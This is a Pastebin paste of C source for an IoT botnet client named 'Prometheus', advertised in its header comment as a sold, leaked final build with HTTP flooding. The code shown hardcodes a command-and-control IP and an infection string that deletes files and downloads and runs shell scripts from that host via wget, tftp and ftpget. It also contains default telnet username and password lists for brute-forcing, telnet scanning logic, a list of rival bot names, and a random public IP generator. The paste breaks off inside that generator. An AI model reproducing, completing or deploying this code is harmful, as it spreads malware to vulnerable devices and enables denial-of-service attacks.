Advertisement
UNTOUCHABLEHACKERGOD

prometheus client

Feb 5th, 2018
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 59.91 KB | None | 0 0
  1. /*
  2. This is the official build of PROMETHEUS
  3. ___________
  4. //LEAKED M8\\
  5. \\THIS REPS//
  6. \\_______//
  7. Yeah thats right this shit reps you gone be a big
  8. Goat Greper like cheats
  9. Just a lil credz to all the peeps that made this possible
  10. B1NARY
  11. ZONEHAX
  12. CHEATS
  13. Thanks to them this
  14. bot is as dank as it
  15. is XD this is the main
  16. build if you have this
  17. means you're an OG.
  18.  
  19. V4 OFFICIAL FINAL BUILD
  20. Contains Multi-Threaded HTTP ATTACK
  21. Thanks for buying enjoy big boat reps
  22. This was the offical final real build
  23. of Prometheus the one that's "leaked"
  24. was the one I was selling this is the
  25. real one that I only sold to 3 people
  26. */
  27. #define PHI 0x9e3779b9
  28. #define PR_SET_NAME 15
  29. #define SERVER_LIST_SIZE (sizeof(PromServer) / sizeof(unsigned char *))
  30. #define PAD_RIGHT 1
  31. #define PAD_ZERO 2
  32. #define PRINT_BUF_LEN 12
  33. #define CMD_IAC 255
  34. #define CMD_WILL 251
  35. #define CMD_WONT 252
  36. #define CMD_DO 253
  37. #define CMD_DONT 254
  38. #define OPT_SGA 3
  39. #define STD2_SIZE 65
  40. #define BUFFER_SIZE 512
  41. #include <stdlib.h>
  42. #include <stdarg.h>
  43. #include <stdio.h>
  44. #include <sys/socket.h>
  45. #include <sys/types.h>
  46. #include <netinet/in.h>
  47. #include <arpa/inet.h>
  48. #include <netdb.h>
  49. #include <signal.h>
  50. #include <strings.h>
  51. #include <string.h>
  52. #include <sys/utsname.h>
  53. #include <unistd.h>
  54. #include <fcntl.h>
  55. #include <errno.h>
  56. #include <netinet/ip.h>
  57. #include <netinet/udp.h>
  58. #include <netinet/tcp.h>
  59. #include <sys/wait.h>
  60. #include <sys/ioctl.h>
  61. #include <net/if.h>
  62.  
  63.  
  64. const char *knownBots[] = {
  65. "mips",
  66. "mipsel",
  67. "sh4",
  68. "x86",
  69. "i686",
  70. "ppc",
  71. "i586",
  72. "i586",
  73. "jackmy*",
  74. "hackmy*",
  75. "arm*",
  76. "b1",
  77. "b2",
  78. "b3",
  79. "b4",
  80. "b5",
  81. "b6",
  82. "b7",
  83. "b8",
  84. "b9",
  85. "busyboxterrorist",
  86. "DFhxdhdf",
  87. "dvrHelper",
  88. "FDFDHFC",
  89. "FEUB",
  90. "FTUdftui",
  91. "GHfjfgvj",
  92. "jhUOH",
  93. "JIPJIPJj",
  94. "JIPJuipjh",
  95. "kmyx86_64",
  96. "lolmipsel",
  97. "mips",
  98. "mipsel",
  99. "RYrydry",
  100. "tel*",
  101. "TwoFace*",
  102. "UYyuyioy",
  103. "wget",
  104. "x86_64",
  105. "XDzdfxzf",
  106. "xxb*",
  107. "sh",
  108. "1",
  109. "2",
  110. "3",
  111. "4",
  112. "5",
  113. "6",
  114. "7",
  115. "8",
  116. "9",
  117. "10",
  118. "11",
  119. "12",
  120. "13",
  121. "14",
  122. "15",
  123. "16",
  124. "17",
  125. "18",
  126. "19",
  127. "20",
  128. "hackz",
  129. "bin*",
  130. "gtop",
  131. "ftp*",
  132. "tftp*",
  133. "botnet",
  134. "swatnet",
  135. "ballpit",
  136. "fucknet",
  137. "cracknet",
  138. "weednet",
  139. "gaynet",
  140. "queernet",
  141. "ballnet",
  142. "unet",
  143. "yougay",
  144. "sttftp",
  145. "sstftp",
  146. "sbtftp",
  147. "btftp",
  148. "y0u1sg3y",
  149. "bruv*",
  150. "IoT*",
  151. };
  152.  
  153. // ip for all of the files
  154. //Port needs to be changed down below so yeah
  155. unsigned char *PromServer[] =
  156. {
  157. "212.237.8.25"
  158. };
  159.  
  160. int initConnection();
  161. int getBogos(unsigned char *bogomips);
  162. int getCores();
  163. int getCountry(unsigned char *buf, int bufsize);
  164. void makeRandomStr(unsigned char *buf, int length);
  165. int sockprintf(int sock, char *formatStr, ...);
  166. char *inet_ntoa(struct in_addr in);
  167.  
  168. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  169. uint32_t *pids;
  170. uint32_t scanPid;
  171. uint64_t numpids = 0;
  172. struct in_addr ourIP;
  173. struct in_addr ourPublicIP;
  174. unsigned char macAddress[6] = {0};
  175.  
  176. char *infect = "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/* || /var/run/* || /var/system/* || /mnt/* || /lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://212.237.8.25/cumfort.sh; chmod 777 cumfort.sh; sh cumfort.sh; tftp 212.237.8.25 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 212.237.8.25; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 212.237.8.25 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf cumfort.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  177. char *usernames[] = {"root\0", "root\0", "telnet\0"};//Dont Fuck With These
  178. char *passwords[] = {"root\0", "\0", "telnet\0"};//These either
  179. char *tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", "/opt/", (char*)0};
  180. char *advances[] = {":", "ogin", "sername", "assword", (char*)0};
  181. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  182. char *successes[] = {"busybox", "$", "#", (char*)0};
  183. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  184.  
  185.  
  186.  
  187. static uint32_t Q[4096], c = 362436;
  188.  
  189. void init_rand(uint32_t x)
  190. {
  191. int i;
  192.  
  193. Q[0] = x;
  194. Q[1] = x + PHI;
  195. Q[2] = x + PHI + PHI;
  196.  
  197. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  198. }
  199.  
  200. uint32_t rand_cmwc(void)
  201. {
  202. uint64_t t, a = 18782LL;
  203. static uint32_t i = 4095;
  204. uint32_t x, r = 0xfffffffe;
  205. i = (i + 1) & 4095;
  206. t = a * Q[i] + c;
  207. c = (uint32_t)(t >> 32);
  208. x = t + c;
  209. if (x < c) {
  210. x++;
  211. c++;
  212. }
  213. return (Q[i] = r - x);
  214. }
  215.  
  216. void trim(char *str)
  217. {
  218. int i;
  219. int begin = 0;
  220. int end = strlen(str) - 1;
  221.  
  222. while (isspace(str[begin])) begin++;
  223.  
  224. while ((end >= begin) && isspace(str[end])) end--;
  225. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  226.  
  227. str[i - begin] = '\0';
  228. }
  229.  
  230. static void printchar(unsigned char **str, int c)
  231. {
  232. if (str) {
  233. **str = c;
  234. ++(*str);
  235. }
  236. else (void)write(1, &c, 1);
  237. }
  238.  
  239. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  240. {
  241. register int pc = 0, padchar = ' ';
  242.  
  243. if (width > 0) {
  244. register int len = 0;
  245. register const unsigned char *ptr;
  246. for (ptr = string; *ptr; ++ptr) ++len;
  247. if (len >= width) width = 0;
  248. else width -= len;
  249. if (pad & PAD_ZERO) padchar = '0';
  250. }
  251. if (!(pad & PAD_RIGHT)) {
  252. for ( ; width > 0; --width) {
  253. printchar (out, padchar);
  254. ++pc;
  255. }
  256. }
  257. for ( ; *string ; ++string) {
  258. printchar (out, *string);
  259. ++pc;
  260. }
  261. for ( ; width > 0; --width) {
  262. printchar (out, padchar);
  263. ++pc;
  264. }
  265.  
  266. return pc;
  267. }
  268.  
  269. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  270. {
  271. unsigned char print_buf[PRINT_BUF_LEN];
  272. register unsigned char *s;
  273. register int t, neg = 0, pc = 0;
  274. register unsigned int u = i;
  275.  
  276. if (i == 0) {
  277. print_buf[0] = '0';
  278. print_buf[1] = '\0';
  279. return prints (out, print_buf, width, pad);
  280. }
  281.  
  282. if (sg && b == 10 && i < 0) {
  283. neg = 1;
  284. u = -i;
  285. }
  286.  
  287. s = print_buf + PRINT_BUF_LEN-1;
  288. *s = '\0';
  289.  
  290. while (u) {
  291. t = u % b;
  292. if( t >= 10 )
  293. t += letbase - '0' - 10;
  294. *--s = t + '0';
  295. u /= b;
  296. }
  297.  
  298. if (neg) {
  299. if( width && (pad & PAD_ZERO) ) {
  300. printchar (out, '-');
  301. ++pc;
  302. --width;
  303. }
  304. else {
  305. *--s = '-';
  306. }
  307. }
  308.  
  309. return pc + prints (out, s, width, pad);
  310. }
  311.  
  312. static int print(unsigned char **out, const unsigned char *format, va_list args )
  313. {
  314. register int width, pad;
  315. register int pc = 0;
  316. unsigned char scr[2];
  317.  
  318. for (; *format != 0; ++format) {
  319. if (*format == '%') {
  320. ++format;
  321. width = pad = 0;
  322. if (*format == '\0') break;
  323. if (*format == '%') goto out;
  324. if (*format == '-') {
  325. ++format;
  326. pad = PAD_RIGHT;
  327. }
  328. while (*format == '0') {
  329. ++format;
  330. pad |= PAD_ZERO;
  331. }
  332. for ( ; *format >= '0' && *format <= '9'; ++format) {
  333. width *= 10;
  334. width += *format - '0';
  335. }
  336. if( *format == 's' ) {
  337. register char *s = (char *)va_arg( args, int );
  338. pc += prints (out, s?s:"(null)", width, pad);
  339. continue;
  340. }
  341. if( *format == 'd' ) {
  342. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  343. continue;
  344. }
  345. if( *format == 'x' ) {
  346. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  347. continue;
  348. }
  349. if( *format == 'X' ) {
  350. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  351. continue;
  352. }
  353. if( *format == 'u' ) {
  354. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  355. continue;
  356. }
  357. if( *format == 'c' ) {
  358. scr[0] = (unsigned char)va_arg( args, int );
  359. scr[1] = '\0';
  360. pc += prints (out, scr, width, pad);
  361. continue;
  362. }
  363. }
  364. else {
  365. out:
  366. printchar (out, *format);
  367. ++pc;
  368. }
  369. }
  370. if (out) **out = '\0';
  371. va_end( args );
  372. return pc;
  373. }
  374.  
  375. int zprintf(const unsigned char *format, ...)
  376. {
  377. va_list args;
  378. va_start( args, format );
  379. return print( 0, format, args );
  380. }
  381.  
  382. int szprintf(unsigned char *out, const unsigned char *format, ...)
  383. {
  384. va_list args;
  385. va_start( args, format );
  386. return print( &out, format, args );
  387. }
  388.  
  389.  
  390. int sockprintf(int sock, char *formatStr, ...)
  391. {
  392. unsigned char *textBuffer = malloc(2048);
  393. memset(textBuffer, 0, 2048);
  394. char *orig = textBuffer;
  395. va_list args;
  396. va_start(args, formatStr);
  397. print(&textBuffer, formatStr, args);
  398. va_end(args);
  399. orig[strlen(orig)] = '\n';
  400. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  401. free(orig);
  402. return q;
  403. }
  404.  
  405. static int *fdopen_pids;
  406.  
  407. int fdpopen(unsigned char *program, register unsigned char *type)
  408. {
  409. register int iop;
  410. int pdes[2], fds, pid;
  411.  
  412. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  413.  
  414. if (pipe(pdes) < 0) return -1;
  415. if (fdopen_pids == NULL) {
  416. if ((fds = getdtablesize()) <= 0) return -1;
  417. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  418. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  419. }
  420.  
  421. switch (pid = vfork())
  422. {
  423. case -1:
  424. close(pdes[0]);
  425. close(pdes[1]);
  426. return -1;
  427. case 0:
  428. if (*type == 'r') {
  429. if (pdes[1] != 1) {
  430. dup2(pdes[1], 1);
  431. close(pdes[1]);
  432. }
  433. close(pdes[0]);
  434. } else {
  435. if (pdes[0] != 0) {
  436. (void) dup2(pdes[0], 0);
  437. (void) close(pdes[0]);
  438. }
  439. (void) close(pdes[1]);
  440. }
  441. execl("/bin/sh", "sh", "-c", program, NULL);
  442. _exit(127);
  443. }
  444. if (*type == 'r') {
  445. iop = pdes[0];
  446. (void) close(pdes[1]);
  447. } else {
  448. iop = pdes[1];
  449. (void) close(pdes[0]);
  450. }
  451. fdopen_pids[iop] = pid;
  452. return (iop);
  453. }
  454.  
  455. int fdpclose(int iop)
  456. {
  457. register int fdes;
  458. sigset_t omask, nmask;
  459. int pstat;
  460. register int pid;
  461.  
  462. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  463. (void) close(iop);
  464. sigemptyset(&nmask);
  465. sigaddset(&nmask, SIGINT);
  466. sigaddset(&nmask, SIGQUIT);
  467. sigaddset(&nmask, SIGHUP);
  468. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  469. do {
  470. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  471. } while (pid == -1 && errno == EINTR);
  472. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  473. fdopen_pids[fdes] = 0;
  474. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  475. }
  476.  
  477. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  478. {
  479. int got = 1, total = 0;
  480. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  481. return got == 0 ? NULL : buffer;
  482. }
  483.  
  484. static const long hextable[] = {
  485. [0 ... 255] = -1,
  486. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  487. ['A'] = 10, 11, 12, 13, 14, 15,
  488. ['a'] = 10, 11, 12, 13, 14, 15
  489. };
  490.  
  491. long parseHex(unsigned char *hex)
  492. {
  493. long ret = 0;
  494. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  495. return ret;
  496. }
  497.  
  498. int wildString(const unsigned char* pattern, const unsigned char* string) {
  499. switch(*pattern)
  500. {
  501. case '\0': return *string;
  502. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  503. case '?': return !(*string && !wildString(pattern+1, string+1));
  504. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  505. }
  506. }
  507.  
  508. int getHost(unsigned char *toGet, struct in_addr *i)
  509. {
  510. struct hostent *h;
  511. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  512. return 0;
  513. }
  514.  
  515. void uppercase(unsigned char *str)
  516. {
  517. while(*str) { *str = toupper(*str); str++; }
  518. }
  519.  
  520. int getBogos(unsigned char *bogomips)
  521. {
  522. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  523. char linebuf[4096];
  524. while(fdgets(linebuf, 4096, cmdline) != NULL)
  525. {
  526. uppercase(linebuf);
  527. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  528. {
  529. unsigned char *pos = linebuf + 8;
  530. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  531. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  532. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  533. strcpy(bogomips, pos);
  534. close(cmdline);
  535. return 0;
  536. }
  537. memset(linebuf, 0, 4096);
  538. }
  539. close(cmdline);
  540. return 1;
  541. }
  542.  
  543. int getCores()
  544. {
  545. int totalcores = 0;
  546. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  547. char linebuf[4096];
  548. while(fdgets(linebuf, 4096, cmdline) != NULL)
  549. {
  550. uppercase(linebuf);
  551. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  552. memset(linebuf, 0, 4096);
  553. }
  554. close(cmdline);
  555. return totalcores;
  556.  
  557. }
  558.  
  559. void makeRandomStr(unsigned char *buf, int length)
  560. {
  561. int i = 0;
  562. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  563. }
  564.  
  565. int recvLine(int socket, unsigned char *buf, int bufsize)
  566. {
  567. memset(buf, 0, bufsize);
  568.  
  569. fd_set myset;
  570. struct timeval tv;
  571. tv.tv_sec = 30;
  572. tv.tv_usec = 0;
  573. FD_ZERO(&myset);
  574. FD_SET(socket, &myset);
  575. int selectRtn, retryCount;
  576. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  577. while(retryCount < 10)
  578. {
  579. sockprintf(mainCommSock, "PING");
  580.  
  581. tv.tv_sec = 30;
  582. tv.tv_usec = 0;
  583. FD_ZERO(&myset);
  584. FD_SET(socket, &myset);
  585. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  586. retryCount++;
  587. continue;
  588. }
  589.  
  590. break;
  591. }
  592. }
  593.  
  594. unsigned char tmpchr;
  595. unsigned char *cp;
  596. int count = 0;
  597.  
  598. cp = buf;
  599. while(bufsize-- > 1)
  600. {
  601. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  602. *cp = 0x00;
  603. return -1;
  604. }
  605. *cp++ = tmpchr;
  606. if(tmpchr == '\n') break;
  607. count++;
  608. }
  609. *cp = 0x00;
  610.  
  611. // zprintf("recv: %s\n", cp);
  612.  
  613. return count;
  614. }
  615.  
  616. struct telstate_t
  617. {
  618. int fd;
  619. unsigned int ip;
  620. unsigned char state;
  621. unsigned char complete;
  622. unsigned char usernameInd;
  623. unsigned char passwordInd;
  624. unsigned char tempDirInd;
  625. unsigned int totalTimeout;
  626. unsigned short bufUsed;
  627. char *sockbuf;
  628. };
  629. const char* get_telstate_host(struct telstate_t* telstate)
  630. {
  631. struct in_addr in_addr_ip;
  632. in_addr_ip.s_addr = telstate->ip;
  633. return inet_ntoa(in_addr_ip);
  634. }
  635.  
  636. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  637. {
  638. int num_bytes, i;
  639. memset(buffer, 0, buf_size);
  640. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  641.  
  642. if(buffer[0] == 0xFF)
  643. {
  644. negotiate(fd, buffer, 3);
  645. }
  646.  
  647. if(contains_string(buffer, strings))
  648. {
  649. return 1;
  650. }
  651.  
  652. return 0;
  653. }
  654. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  655. {
  656. fd_set read_set;
  657. struct timeval tv;
  658. tv.tv_sec = 0;
  659. tv.tv_usec = timeout_usec;
  660.  
  661. FD_ZERO(&read_set);
  662. FD_SET(fd, &read_set);
  663.  
  664. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  665. return 0;
  666.  
  667. return recv(fd, buffer, buf_size, 0);
  668. }
  669. void advance_state(struct telstate_t* telstate, int new_state)
  670. {
  671. if(new_state == 0)
  672. {
  673. close(telstate->fd);
  674. }
  675.  
  676. telstate->totalTimeout = 0;
  677. telstate->state = new_state;
  678. memset((telstate->sockbuf), 0, BUFFER_SIZE);
  679. }
  680.  
  681. void reset_telstate(struct telstate_t* telstate)
  682. {
  683. advance_state(telstate, 0);
  684. telstate->complete = 1;
  685. }
  686. int contains_success(char* buffer)
  687. {
  688. return contains_string(buffer, successes);
  689. }
  690. int contains_fail(char* buffer)
  691. {
  692. return contains_string(buffer, fails);
  693. }
  694. int contains_response(char* buffer)
  695. {
  696. return contains_success(buffer) || contains_fail(buffer);
  697. }
  698. int contains_string(char* buffer, char** strings)
  699. {
  700. int num_strings = 0, i = 0;
  701.  
  702. for(num_strings = 0; strings[++num_strings] != 0; );
  703.  
  704. for(i = 0; i < num_strings; i++)
  705. {
  706. if(strcasestr(buffer, strings[i]))
  707. {
  708. return 1;
  709. }
  710. }
  711.  
  712. return 0;
  713. }
  714.  
  715. int connectTimeout(int fd, char *host, int port, int timeout)
  716. {
  717. struct sockaddr_in dest_addr;
  718. fd_set myset;
  719. struct timeval tv;
  720. socklen_t lon;
  721.  
  722. int valopt;
  723. long arg = fcntl(fd, F_GETFL, NULL);
  724. arg |= O_NONBLOCK;
  725. fcntl(fd, F_SETFL, arg);
  726.  
  727. dest_addr.sin_family = AF_INET;
  728. dest_addr.sin_
  729. = htons(port);
  730. if(getHost(host, &dest_addr.sin_addr)) return 0;
  731. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  732. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  733.  
  734. if (res < 0) {
  735. if (errno == EINPROGRESS) {
  736. tv.tv_sec = timeout;
  737. tv.tv_usec = 0;
  738. FD_ZERO(&myset);
  739. FD_SET(fd, &myset);
  740. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  741. lon = sizeof(int);
  742. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  743. if (valopt) return 0;
  744. }
  745. else return 0;
  746. }
  747. else return 0;
  748. }
  749.  
  750. arg = fcntl(fd, F_GETFL, NULL);
  751. arg &= (~O_NONBLOCK);
  752. fcntl(fd, F_SETFL, arg);
  753.  
  754. return 1;
  755. }
  756.  
  757. int listFork()
  758. {
  759. uint32_t parent, *newpids, i;
  760. parent = fork();
  761. if (parent <= 0) return parent;
  762. numpids++;
  763. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  764. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  765. newpids[numpids - 1] = parent;
  766. free(pids);
  767. pids = newpids;
  768. return parent;
  769. }
  770.  
  771. int negotiate(int sock, unsigned char *buf, int len)
  772. {
  773. unsigned char c;
  774.  
  775. switch (buf[1]) {
  776. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  777. case CMD_WILL:
  778. case CMD_WONT:
  779. case CMD_DO:
  780. case CMD_DONT:
  781. c = CMD_IAC;
  782. send(sock, &c, 1, MSG_NOSIGNAL);
  783. if (CMD_WONT == buf[1]) c = CMD_DONT;
  784. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  785. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  786. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  787. send(sock, &c, 1, MSG_NOSIGNAL);
  788. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  789. break;
  790.  
  791. default:
  792. break;
  793. }
  794.  
  795. return 0;
  796. }
  797.  
  798. int matchPrompt(char *bufStr)
  799. {
  800. char *prompts = ":>%$#\0";
  801.  
  802. int bufLen = strlen(bufStr);
  803. int i, q = 0;
  804. for(i = 0; i < strlen(prompts); i++)
  805. {
  806. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  807. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  808. }
  809.  
  810. return 0;
  811. }
  812.  
  813. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  814. {
  815. int bufferUsed = initialIndex, got = 0, found = 0;
  816. fd_set myset;
  817. struct timeval tv;
  818. tv.tv_sec = timeout;
  819. tv.tv_usec = timeoutusec;
  820. unsigned char *initialRead = NULL;
  821.  
  822. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  823. {
  824. FD_ZERO(&myset);
  825. FD_SET(fd, &myset);
  826. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  827. initialRead = buffer + bufferUsed;
  828. got = recv(fd, initialRead, 1, 0);
  829. if(got == -1 || got == 0) return 0;
  830. bufferUsed += got;
  831. if(*initialRead == 0xFF)
  832. {
  833. got = recv(fd, initialRead + 1, 2, 0);
  834. if(got == -1 || got == 0) return 0;
  835. bufferUsed += got;
  836. if(!negotiate(fd, initialRead, 3)) return 0;
  837. } else {
  838. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  839. }
  840. }
  841.  
  842. if(found) return 1;
  843. return 0;
  844. }
  845.  
  846.  
  847.  
  848. static uint8_t ipState[5] = {0};
  849. in_addr_t GetRandomPublicIP()//IP GEN credz to cheats :)
  850. {
  851. ipState[1] = 0;
  852. ipState[2] = 0;
  853. ipState[3] = 0;
  854. ipState[4] = 0;
  855. ipState[1] = rand() % 255;
  856. ipState[2] = rand() % 255;
  857. ipState[3] = rand() % 255;
  858. ipState[4] = rand() % 255;
  859. int randnum = rand() % 208;
  860. char ip[16];
  861. if(randnum == 0)
  862. {
  863. szprintf(ip, "112.5.%d.%d", ipState[3], ipState[4]);
  864. }
  865. if(randnum == 1)
  866. {
  867. szprintf(ip, "117.165.%d.%d", ipState[3], ipState[4]);
  868. }
  869. if(randnum == 2)
  870. {
  871. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  872. }
  873. if(randnum == 3)
  874. {
  875. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  876. }
  877. if(randnum == 4)
  878. {
  879. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  880. }
  881. if(randnum == 5)
  882. {
  883. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  884. }
  885. if(randnum == 6)
  886. {
  887. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  888. }
  889. if(randnum == 7)
  890. {
  891. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  892. }
  893. if(randnum == 8)
  894. {
  895. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  896. }
  897. if(randnum == 9)
  898. {
  899. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  900. }
  901. if(randnum == 10)
  902. {
  903. szprintf(ip, "221.120.%d.%d", ipState[3], ipState[4]);
  904. }
  905. if(randnum == 11)
  906. {
  907. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  908. }
  909. if(randnum == 12)
  910. {
  911. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  912. }
  913. if(randnum == 13)
  914. {
  915. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  916. }
  917. if(randnum == 14)
  918. {
  919. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  920. }
  921. if(randnum == 15)
  922. {
  923. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  924. }
  925. if(randnum == 16)
  926. {
  927. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  928. }
  929. if(randnum == 17)
  930. {
  931. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  932. }
  933. if(randnum == 18)
  934. {
  935. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  936. }
  937. if(randnum == 19)
  938. {
  939. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  940. }
  941. if(randnum == 20)
  942. {
  943. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  944. }
  945. if(randnum == 21)
  946. {
  947. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  948. }
  949. if(randnum == 22)
  950. {
  951. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  952. }
  953. if(randnum == 23)
  954. {
  955. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  956. }
  957. if(randnum == 24)
  958. {
  959. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  960. }
  961. if(randnum == 25)
  962. {
  963. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  964. }
  965. if(randnum == 26)
  966. {
  967. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  968. }
  969. if(randnum == 27)
  970. {
  971. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  972. }
  973. if(randnum == 28)
  974. {
  975. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  976. }
  977. if(randnum == 29)
  978. {
  979. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  980. }
  981. if(randnum == 30)
  982. {
  983. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  984. }
  985. if(randnum == 31)
  986. {
  987. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  988. }
  989. if(randnum == 32)
  990. {
  991. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  992. }
  993. if(randnum == 33)
  994. {
  995. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  996. }
  997. if(randnum == 34)
  998. {
  999. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  1000. }
  1001. if(randnum == 35)
  1002. {
  1003. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  1004. }
  1005. if(randnum == 36)
  1006. {
  1007. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  1008. }
  1009. if(randnum == 37)
  1010. {
  1011. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  1012. }
  1013. if(randnum == 38)
  1014. {
  1015. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  1016. }
  1017. if(randnum == 39)
  1018. {
  1019. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  1020. }
  1021. if(randnum == 40)
  1022. {
  1023. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  1024. }
  1025. if(randnum == 41)
  1026. {
  1027. szprintf(ip, "43.253.%d.%d", ipState[3], ipState[4]);
  1028. }
  1029. if(randnum == 42)
  1030. {
  1031. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1032. }
  1033. if(randnum == 43)
  1034. {
  1035. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1036. }
